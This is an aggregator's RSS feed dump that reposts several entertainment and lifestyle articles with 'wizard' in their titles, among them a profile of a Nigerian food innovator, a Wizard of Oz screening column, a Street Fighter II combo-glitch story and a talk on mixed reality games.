As a child growing up in Warri and Port Harcourt in Nigeria, however, Sokoh did not love food. In fact, she’ll tell you she hated it (except for sweets), excusing herself from the dinner table with her mouth full of food she refused to swallow. Then, when she was 10 years old, her marine engineer father took the family on a trip to Edinburgh, Scotland — phase one of the butterfly’s evolution. After a day running around the festival grounds with her sister Miranda, Sokoh was so ravenous that she found herself devouring food, rather than pushing it away, for the first time. That appetite to discover, sample and concoct delicious dishes drives her still.

Sokoh chose to study geology, a path that led to her job in Wassenaar, but after returning to Nigeria seven years ago, she’s been all about food (while working as a geologist at Shell Global by day). The result is what she calls the New Nigerian Kitchen, a remix of dishes found throughout her homeland that she shares with her 33,000 Instagram followers — and an approach to documenting Nigerian cuisine in its entirety, which she addressed in a 2014 TEDx Talk. Determined to update perceptions that food in Nigeria, a deeply heterogeneous society, is unsophisticated and not worth exploring, she set out — like her namesake, Oz — to offer a magical land of infinite possibilities. Conjuring as many new combinations as her chef’s imagination could muster, Sokoh presents “remixed dishes” at food festivals and cooking events. She’s also at work on a cookbook-slash-memoir, and last year her jollof rice recipe was introduced to a global audience on CNN’s Anthony Bourdain: Parts Unknown.

Her creations run the gamut from jams, drinks and sauces made from agbalumo (African star apple) and zobo (hibiscus) to dishes infused with flavors from the many places where she has lived. Raised in the oil-rich Niger Delta, educated at universities in Ile-Ife (236 kilometers west of Lagos) and Liverpool, England, and employed in the Netherlands, she was exposed to different types of food but admits that moving so much left her disconnected from her native cuisine. But she’s back, bringing an entirely new interpretation that emphasizes innovation, new combinations of flavors and ingredients, and exuberant style and presentation.

But her reimagined delicacies have drawn mixed reactions — some fellow Nigerians became instant fans, while others with more traditional views consider her approach an aberration. “Some people get really outraged,” Sokoh laughs. “They see my exploration as oversabi [overzealous].

“They can’t understand how I’ve gone from A — what we’ve always known, like eating agbalumo out of hand — to Z, new ideas like baking it into a cake or dessert, making drinks from it.” To those who prefer dishes as they’ve always been served, she tries to share her discoveries from living in different places. “We have so many possibilities with our food,” Sokoh insists, but still: “People hear ‘New Nigerian Kitchen’ and think it’s all about being outré.”

If putting a unique spin on traditional Nigerian ingredients and recipes is outré, it’s a label she’s willing to accept. “There are purists that prefer things to be left alone, and there are some food enthusiasts that are happy to try these new things,” says Uzo Orimalade, a Lagos-based culinary expert and CEO of Uzo’s Food Labs. “No matter what side you are on, her recipes get people talking.”

And talk they do — at private dinner parties she hosts for select groups of “cool kids” (artsy expats and newly returned natives like her), on social media and at culinary events such as World Jollof Rice Day. For Nigerians both at home and among the diaspora, this August event has grown into a major celebration of one of the country’s most beloved dishes. A self-proclaimed Jollof activist (“It’s spelled with a capital J, not a small one,” Sokoh corrected a commenter on her blog), she is a fixture at the celebration, crafting new versions of the dish to tantalize her followers and win over new fans.

Isioma Onyegikei, the head chef at Brelunds Food Company, agrees with Sokoh’s food philosophy and the need to document the culinary arts in Nigeria. “I think it’s something that we must all do,” she begins. “Nigeria has a lot of foods owing to our diverse culture, from homemade meals to our variety of street foods. They are worth introducing to a larger audience, and that’s why I think the work of Kitchen Butterfly is important. When more people know about our meals, it adds value to the culinary chain.”

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]]> https://briefnews.eu/this-nigerian-chef-is-a-culinary-wizard-of-oz/feed/ 0 The Water Cooler: ‘The Wizard of Oz’ Outdoors, an Addictive New Podcast, and the Return of Pokemon Go https://briefnews.eu/the-water-cooler-the-wizard-of-oz-outdoors-an-addictive-new-podcast-and-the-return-of-pokemon-go/ https://briefnews.eu/the-water-cooler-the-wizard-of-oz-outdoors-an-addictive-new-podcast-and-the-return-of-pokemon-go/#respond Fri, 18 Aug 2017 11:04:21 +0000 http://briefnews.eu/the-water-cooler-the-wizard-of-oz-outdoors-an-addictive-new-podcast-and-the-return-of-pokemon-go/ The Wizard of Oz

Welcome to The Water Cooler, a weekly feature where the /Film staff is free to go off-topic and talk about everything except the movies and TV shows they normally write about. In this edition: Ben watches a cinematic classic outside, Brad picks up Pokemon Go again, Jacob falls in love with a podcast, Jack checks out Friends From College, Hoai-Tran indulges her K-pop obsession again, and Chris watches Ozark.

Ben Pearson Attended an Outdoor Screening of The Wizard of Oz

This past weekend, my wife and I went to an outdoor secret screening that a friend hosted in the backyard of her house. She set up a bunch of clues beforehand and had food that was themed appropriately for the movie so we could try to guess what we’d be watching, and after dinner, our friend revealed that the movie she was screening was The Wizard of Oz. The 1939 classic is my dad’s favorite movie (and one of the surviving Munchkins lived fairly close to us when I was a kid), so I watched it a lot when I was growing up. But it had probably been 15 years since I’d seen it, and after talking about it with my wife, we decided it might be the perfect choice for an outdoor summer night screening like this.

The Wizard of Oz is one of those movies that everyone should see, but it’s probably not in very many people’s regular rotation of things they just throw on to watch; I’m guessing I wasn’t the only one who hadn’t seen it in years. There were some kids there who I’m guessing hadn’t seen it at all, so even if it were just for them, that’d be a good enough reason to choose it. But it’s also a classic movie that holds up wonderfully, it’s lighthearted and uplifting in a time when we needed a release from our current political hellscape, and it’s easy to get lost in its vibrant, rich colors and swept away in its memorable songs.

Plus, who’s going to be pissed off at the idea of watching The Wizard of Oz? It’s an excellent choice, and it inspired me to refresh my memory about the movie’s fascinating production history – including the time the actress playing the Wicked Witch was horrifically burned during a stunt gone wrong. If you haven’t heard some of the stories about the making of this film, you should definitely check them out.

Pokemon Go

Ethan Anderton Has Been Completing Raids in Pokemon GO

All the rage surrounding Pokemon GO died down relatively quickly after the game became a huge hit last summer. Game developer Niantic didn’t keep the game interesting enough for an extended period of time and the gameplay got boring. Thankfully, ever since the disastrous Pokemon GO Fest in Chicago (which happened the same weekend as San Diego Comic-Con), the introduction of legendary Pokemon available in raid battles at the overhauled Pokemon gyms has reinvigorated the game and gotten players back outside to catch some powerful Pokemon.

In the weeks following Pokemon GO Fest, new legendary Pokemon have been released to the game. So far they’ve included Articuno, Moltres and Zapdos as companions to the Mystic, Valor and Instinct teams respectively within the game. Plus, the Pokemon bird Lugia has been part of the raid battles as well, introducing a new way for players to unite and cooperate to catch some powerful Pokemon. It’s made for a fun addition to the game that has gotten me to start playing way more often, and so far I’ve caught all the legendary birds (and I’ve picked up a Tyrannitar too, which is pretty great).

Plus, Pokemon GO shows no signs of slowing down their continued updates with raid battles, because the latest Pokemon GO event in Japan announced that Mewtwo will be coming to the game as part of an exclusive raid battle that players will have available to them sometime soon. In the meantime, all the legendary birds are available in the game until the end of August, so round up some friends and see if you can defeat and catch them.

Friends from College Trailer

Jack Giroux is Watching Friends From College

Friends from College is a very watchable show about mostly unlikable people. In spite of some problems, and almost in spite of itself, it works. After watching the first few episodes for the cast – somehow I missed the fact Nicholas Stoller (Forgetting Sarah Marshall) co-created the series with Francesca Delbanco – I checked out the reviews. I was surprised and unsurprised by the overwhelming negative response to the new Netflix comedy, which is four hours of characters who are bound to turn a lot of people off. They are sometimes difficult to empathize with. I think going back and forth over the ensemble and their choices created a sense of engagement and a bit of honesty, which is sometimes overshadowed by a few plot turns and conflicts too broad for an otherwise grounded series.

The show isn’t without its laughs. It’s directed by the filmmaker behind Forgetting Sarah Marshall and The Muppets, so no real surprise there. Some of the humor, again, is a bit too broad, but with a cast like Cobbie Smoulders, Keegan-Michael Key, Nat Faxon, Fred Savage, Jae Suh Park, and Annie Parisse, many of the jokes hit their mark. The biggest laughs come from Greg Germann and Ike Barinholtz. Barinholtz makes one joke and facial expression that made me rewind more than once to watch it again (his clown laugh in Neighbors II: Sorority Rising made me do the same). He plays completely convincing and authentic jerks.

Friends from College can sometimes feel patted and long-winded, but there’s a lot to like in the unlikability of these characters. Their flaws are at the front and center of the show. Even when they’re at their worst, they can still earn empathy, especially Annie Parisse as Marianne. She’s fantastic.

Continue Reading The Water Cooler >>

The post The Water Cooler: ‘The Wizard of Oz’ Outdoors, an Addictive New Podcast, and the Return of Pokemon Go appeared first on /Film.

/Film

]]> https://briefnews.eu/the-water-cooler-the-wizard-of-oz-outdoors-an-addictive-new-podcast-and-the-return-of-pokemon-go/feed/ 0 Deadliest Catch Sneak Peek: 'Wave' Goodbye to the Wizard Crew? https://briefnews.eu/deadliest-catch-sneak-peek-wave-goodbye-to-the-wizard-crew/ https://briefnews.eu/deadliest-catch-sneak-peek-wave-goodbye-to-the-wizard-crew/#respond Mon, 17 Jul 2017 00:04:30 +0000 http://briefnews.eu/deadliest-catch-sneak-peek-wave-goodbye-to-the-wizard-crew/

If turnabout really is fair play, it’s only fitting that big waves would slam Keith Colburn, the tempestuous Deadliest Catch captain who’s so well known for making them.

In this exclusive sneak peek at Tuesday’s episode (airing at 9/8c on Discovery), the Wizard’s skipper, hoping against hope to make his quota, is driven by low crab counts to chart a course for the heart of a raging storm — a 450-footer, according to the title of the installment! As you’ll see for yourself, the string that his crew is hauling in the clip just “is not gonna finish the trip for us,” he sighs.

Unfortunately, moving from bad to worse weather puts the boat on a collision course with the kind of waves that can do a whole lot more than make a deckhand want to upchuck. Press PLAY on the video above to get an eyeful for yourself, then hit the comments. Would you have the nerve to head toward a storm?

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TVLine

]]> https://briefnews.eu/deadliest-catch-sneak-peek-wave-goodbye-to-the-wizard-crew/feed/ 0 How my sad childhood turned the Harry Potter magic into a wizard stage play https://briefnews.eu/how-my-sad-childhood-turned-the-harry-potter-magic-into-a-wizard-stage-play/ https://briefnews.eu/how-my-sad-childhood-turned-the-harry-potter-magic-into-a-wizard-stage-play/#respond Sun, 04 Jun 2017 01:32:45 +0000 http://briefnews.eu/how-my-sad-childhood-turned-the-harry-potter-magic-into-a-wizard-stage-play/

The West End impresario has been dubbed “the most powerful woman in theatre” but it was her troubled childhood that gave her the inspiration to produce the smash-hit London show.

Abandoned by her father before she was born Friedman and her three siblings were raised by their mother.

It was Friedman who took the concept for the show to Harry Potter creator JK Rowling who then helped mould it into the award winning production.

Appearing on ’s Desert Island Discs Friedman, 52 said: “My co-producer Colin Callender and I were very drawn to the notion of Harry as a dad, given that he hadn’t had parents of his own, and Jo loved that idea.

“I will never understand what it would be like to have a dad and so I’m always looking for stories that might help me understand and I feel incredibly privileged and blessed that I can use my emotional background and my experiences to encourage others to put it on to paper and then to put it on to a stage.”

Friedman currently has eight shows running in the West End, including Dreamgirls and The Book Of Mormon, and is soon to have four on Broadway.

Harry Potter And The Cursed Child, which opened last year, has won nine Olivier awards.

Friedman, who said her childhood was “chaotic and bohemian”, marked by truancy and bullying, fought back tears as she talked about her father, eminent violinist Leonard Friedman. 

She added: “I’ve never really had a dad, which I know is something that’s completely formed who I am.

“If there was a concert or something maybe we would go and sit in an auditorium and watch him play. But I had no relationship with him other than he would say hello to me or pat me on the head or something. I never got a birthday present from him, I never got a Christmas present from him.

“He died in 1994. The day or two before he died I had an urge to see him. At the end of the supper he just turned to me and he said, ‘Sonia, I’m very proud of you.’ Those were the last words he ever said to me.

“I don’t blame him.

“I know that as a kid he had a very difficult life. His parents pushed him to be an extraordinary musician. He was told, ‘Put your music first, put your art first’, and eventually he did.”

Her mother, concert pianist Clair Llewelyn Friedman, now 85, juggled jobs as a piano teacher and London tour guide to single-handedly support the family.

“There was no real parental influence or authority in the home,” said Friedman.

“My memory is the house was just full of animals and music but never any food and certainly no structure. We four children survived through creativity and games. I literally have no memory of ever being told to go to bed, being woken up to go to school or family meals.”

One of Sonia’s chosen tracks was her mother playing Debussy’s Clair De Lune. Other songs included her sister, singer and actress Maria Friedman, singing Stephen Sondheim’s Children And Art and her violinist brother Richard Friedman performing with their father.

Despite “a pretty sketchy education” which saw her expelled and a persistent truant, Friedman went on to work with leading names in theatre, including Harold Pinter.

Her first job interview was with Laurence Olivier and Joan Plowright in their kitchen and she landed the job as stage hand at the age of 19.

She now heads up Sonia Friedman Productions and since 1990 has produced more than 160 productions.

As someone who juggles productions around the world and in various time zones she spoke candidly of how her demanding career has impacted on her life. “I’ve never had a family… not a conventional one,” she said.

“I did meet someone and helped bring up two children, so I think I can say I have two stepchildren and I’m proud to say it, although I broke up with their father.”

Sonia chose a cello as her luxury item and the Oxford Book of English verse as her book.

Desert Island Discs, is on Radio 4 today at 11.15am

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]]> https://briefnews.eu/how-my-sad-childhood-turned-the-harry-potter-magic-into-a-wizard-stage-play/feed/ 0 Street Fighter II Wizard Discovers New Combos 26 Years After Release https://briefnews.eu/street-fighter-ii-wizard-discovers-new-combos-26-years-after-release/ https://briefnews.eu/street-fighter-ii-wizard-discovers-new-combos-26-years-after-release/#respond Fri, 24 Mar 2017 15:20:14 +0000 http://briefnews.eu/street-fighter-ii-wizard-discovers-new-combos-26-years-after-release/

Players have had 26 years to break down Street Fighter II to its most base components, but it turns out there’s still more to discover in the legendary video game. Using a glitch that affects how the character Vega recovers from a fall, a YouTuber has figured out how to pull off some new combos in this classic game.

The combos appear in a new video posted by Desk, a prolific YouTuber responsible for some of the fighting game community’s craziest combo videos. These exhibitions typically highlight the potential of various gameplay systems and are a way for people to show off their skills and things they’ve found in a game.

In Street Fighter II, a character who is knocked down temporarily becomes invincible as they rise to their feet. This isn’t the case for Vega (who is known as Balrog in Japan) in Street Fighter II: The World Warrior, the game’s original arcade release. Due to a bug discovered back in the ‘90s, Vega’s hitbox returns during this animation, allowing players to hit him off the ground (or OTG) while he is still laying down and deal further damage that wouldn’t be possible on other characters

In the new video, Desk exploits that bug to pull off some incredible combos. His findings include infinites (meaning they could theoretically go on forever with perfect execution) based solely around each character’s sweep attack. He also found combos that give him enough time to jump in-between attacks, many of which haven’t been explored this extensively in the past.

There’s a reason it took so long for anyone to find these combos and put them in a video despite the glitch being common knowledge for so long. Pulling off these new combos isn’t as easy as it looks, because Street Fighter II is a surprisingly unpredictable game. Due to modifiers like damage ranges, frame-specific player inputs, and even the game clock, it can be pretty damn random for a highly-regarded competitive fighting game. The presence of variable damage and dizzy requirements make recreating combo scenarios a nightmare. Desk also had to deal with the fact that Vega wasn’t playable until 1992’s Champion Edition update, forcing him to face the boss character in World Warriors as a computer-controlled opponent and manipulate the artificial intelligence into beneficial situations. He even employed a somewhat controversial technique to ensure the Zangief combo worked, noting:

The post-stun teabagging is actually luck manipulation. I completed that combo exactly as you see it in the video somewhere in the region of 40-50 times. However, the final version is only the second that caused stun on the crouching heavy kick (vital for the SPD to connect). I tried whiffing a bunch of stuff and mixing up the strengths of some of the attacks to reproduce it, but nothing worked except for the repeated crouching motion done while Vega was stunned.

While the combos are new, the glitch in Desk’s video has been showcased before. According to Maj, owner of technical fighting game sites Sonic Hurricane and ComboVid, its earliest appearance was in a VHS tape released sometime in the 1990s by old-school Street Fighter scientist TZW that’s since been lost to the sands of time. In fact, Maj himself utilized the bug in numerous compilations, including the one seen below.

The appearance of new combos for a game that launched before many top Street Fighter V players were born (hell, I was only two years old myself) is a big deal, especially for a group that values discovery and innovation as much as the fighting game community. World Warrior was quickly eclipsed by the various iterations that followed and now sits way behind tournament standard Super Street Fighter II Turbo, but the work Desk put into making this footage a reality is impressive and perfectly encapsulates the unique passion of the combo video community.

Ian Walker is a fighting game expert and freelance writer. You can find him on Twitter at @iantothemax.


Kotaku

]]> https://briefnews.eu/street-fighter-ii-wizard-discovers-new-combos-26-years-after-release/feed/ 0 How Magic Leap’s gaming wizard sees the future of mixed reality games https://briefnews.eu/how-magic-leaps-gaming-wizard-sees-the-future-of-mixed-reality-games/ https://briefnews.eu/how-magic-leaps-gaming-wizard-sees-the-future-of-mixed-reality-games/#respond Sun, 19 Mar 2017 19:51:13 +0000 http://briefnews.eu/how-magic-leaps-gaming-wizard-sees-the-future-of-mixed-reality-games/ Graeme Devine shows the Ghost Girl concept at the DICE Summit.

Graeme Devine is one of the wizards of gaming, having started at age 14 in the heyday of Atari in the 1970s. He brought us CD-ROM games like The 7th Guest and The 11th Hour. He labored on early Quake games at id Software, and was the games evangelist at Apple as the iPhone was taking off.

He created games on his own for a while and then joined Magic Leap, the high-flying augmented reality smartglasses company, in 2013. Devine gave a talk on his vision for “mixed reality” games about a month ago at the DICE Summit in Las Vegas. It may seem like old news, but I’ve finally had a chance to revisit the talk, which was light on news but heavy on game design philosophy.

Devine said his job is to wander around the company’s offices in Plantation, Fla., and talk with everyone about what “mixed reality,” or blending real-world images with computer animations on platforms such as smartglasses, really means. He finds “mixed reality” is a more fitting name than “augmented reality.”

Graeme Devine talks about mixed reality at the DICE Summit.

Above: Graeme Devine talks about mixed reality at the DICE Summit.

Image Credit: Dean Takahashi

His definition: “Mixed reality is the mixture of the real world and virtual worlds so that one understands the other. This creates experiences that cannot possibly happen anywhere else.” If we start creating experiences that do that, we’re on to something cool, he said.

“What does mixed reality mean in two years, or what does it mean in five years or 10 years?” Devine said.

It’s not so silly to talk about that time frame because of Devine’s own experience with the iPhone. Ten years ago, it was just getting started, and now it’s generating $ 32 billion in sales a quarter.

“Revolutions are possible,” Devine said.

Graeme Devine shows old AR in a talk.

Above: Graeme Devine shows old AR in a talk.

Image Credit: DICE Summit

Two years ago, the impression of AR was the image of the robots on the smartphone above. Magic Leap’s ambition is much different, as it hopes to insert digital content directly into your surroundings where it can interact with you and your world. Mixed reality comprehends your surroundings and interacts with things in your home, like on the sofa or behind the sofa.

This kind of game is far different from the 3D games we play on our consoles, where we are looking through a piece of glass into a 3D world. Nintendo’s Super Mario 64 accomplished the shift from 2D to 3D in 1996, but Devine said games had unfortunately not moved on since that accomplishment.

Graeme Devine at the DICE Summit.

Above: Graeme Devine at the DICE Summit.

Image Credit: DICE Summit

“The worlds are much more beautiful. The graphics are more stunning, but the world is still on the other side of the glass where I play Master Chief, Lara Croft,” he said. “The challenge of mixed reality is to move on again, and it’s really challenging, because now the games happen on our side of the piece of glass, in our homes.”

Devine described a concept for a game at Magic Leap called “Ghost Girl.” In this game, you start with wooden cubes that are real. You learn more about using those real world objects and having it interact with mixed reality. You hear noises in your house. They get louder, and you go and look.

“And there, in your room, is a ghost, standing in front of you,” he said. “She looks directly at you. She knows where your eyes are. She points directly at you. She points past you and behind you. And there behind you is the outline of a dead body, in your house. You turn back to look at Alice, and she’s gone. And now you hear, ‘Will you help me?’”

Graeme Devine mentions Stranger Things in his DICE talk.

Above: Graeme Devine mentions Stranger Things in his DICE talk.

Image Credit: DICE Summit

Then you go back and start using the wooden cubes to communicate with the ghost. You go on adventures together, like playing card tricks with real cards.

You might be sitting on your couch watching the Netflix show Stranger Things, and there is Alice sitting on the couch next to you, Devine said. This is something that could only happen in mixed reality, Devine said.

As for communication, Devine said the challenge is the “five-mile rule.” If you’re five miles from your home and you’ve forgotten something, will you go back and pick it up? With a smartphone, you will do that. With an Apple Watch, you won’t. To be successful, mixed reality devices have to achieve that too.

“We need to be talking about the five-mile applications for mixed reality right now,” Devine said.

Graeme Devine at the DICE Summit.

Above: Graeme Devine at the DICE Summit.

Image Credit: Dean Takahashi

Devine said he believes Pokémon Go is a great AR app, but the cooler version was in the ads where it showed Pokémon creatures in the world.

He said that mixed reality has to be a separate platform, as separate as television is from radio. It can’t be an add-on to a smartphone or a console.

“As developers, we have to treat it differently,” he said. “It can’t depend on already existing infrastructure. We have to create a compelling platform that people will line up for four days at Best Buy.”

He added, “The challenge is for the game industry is that we are the only ones that can do this.” Software has been on a 2D screen to date. With mixed reality, you are walking through the world. Those applications in mixed reality have to be aware of what you are doing. Games are the only things that are designed to interact with you constantly, Devine said.

VentureBeat

]]> https://briefnews.eu/how-magic-leaps-gaming-wizard-sees-the-future-of-mixed-reality-games/feed/ 0 Track: White Wizard | Artist: Year of the Cobra | Album: …In The Shadows Below https://briefnews.eu/track-white-wizard-artist-year-of-the-cobra-album-in-the-shadows-below/ https://briefnews.eu/track-white-wizard-artist-year-of-the-cobra-album-in-the-shadows-below/#respond Thu, 02 Mar 2017 02:11:49 +0000 http://briefnews.eu/track-white-wizard-artist-year-of-the-cobra-album-in-the-shadows-below/

Track: White Wizard | Artist: Year of the Cobra | Album: …In The Shadows Below

Kotaku Soundtrack is a selection of the stuff we’re listening to at the moment.


Kotaku

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